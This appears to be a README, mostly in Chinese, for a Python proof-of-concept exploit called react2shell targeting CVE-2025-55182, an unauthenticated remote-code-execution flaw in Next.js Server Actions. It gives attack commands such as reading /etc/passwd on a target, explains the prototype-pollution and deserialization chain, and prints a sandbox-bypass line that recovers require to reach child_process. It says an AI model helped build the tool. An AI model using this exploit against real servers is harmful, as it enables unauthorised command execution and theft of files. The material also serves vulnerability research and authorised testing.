
Proof-of-concept exploit for CVE-2025-55182, a critical RCE vulnerability in Next.js Server Actions. Exploits insecure deserialization in the React Flight protocol to execute arbitrary commands via prototype pollution and sandbox bypass.
一个针对 React2Shell (CVE-2025-55182) 的概念验证 (PoC) 脚本,这是一个影响使用 Server Actions 的 Next.js 应用的严重远程代码执行 (RCE) 漏洞。
[!WARNING] 免责声明:此工具仅用于教育和授权测试目的。我对任何滥用行为不承担责任。
该脚本利用了 React Server Components "Flight" 协议中的一个不安全反序列化漏洞。它允许未经身份验证的攻击者在服务器上执行任意 JavaScript 代码,从而实现部分远程代码执行 (RCE)。
require(global.require 或通过模块构造函数),确保在较新的 Node.js 版本(v14+)上也能工作。pip install -r requirements.txt
python3 react2shell.py -u <TARGET_URL> [-c <COMMAND>]
检查用户身份:
python3 react2shell.py -u http://127.0.0.1:3000/
列出目录内容:
python3 react2shell.py -u http://127.0.0.1:3000/ -c "ls -la"
读取敏感文件:
python3 react2shell.py -u http://127.0.0.1:3000/ -c "cat /etc/passwd"
该漏洞利用 Next.js Server Actions 处理 React Server Components (RSC) 时的一个原型污染 (Prototype Pollution) 和不安全反序列化 (Insecure Deserialization) 链。
Next-Action 头部信号告诉服务器处理一个 Server Action。then 属性("$1:__proto__:then")。这会欺骗服务器的异步请求处理器,将有效载荷视为一个 "Thenable"(类 Promise 对象)。_response 对象。_prefix 字段通常用于内部流缓冲,但通过操纵它,我们可以注入原始 JavaScript。require 函数通常从全局作用域中被移除以防止 RCE。该脚本通过遍历 process.mainModule 原型链来绕过此限制:
var require = global.require || global.process.mainModule.constructor._load;
child_process 并执行系统命令。execSync),输出被作为一个 Error 对象抛出。该错误被序列化并通过 HTTP 响应体返回给客户端,从而使我们能够看到命令输出。本工具由 Gemini 3 Pro 协助开发。
| 参数 | 描述 | 默认值 |
|---|
-u, --url | 必需。目标 URL(例如 http://localhost:3000/)。 | 无 |
-c, --cmd | 可选。要在服务器上执行的命令。 | id |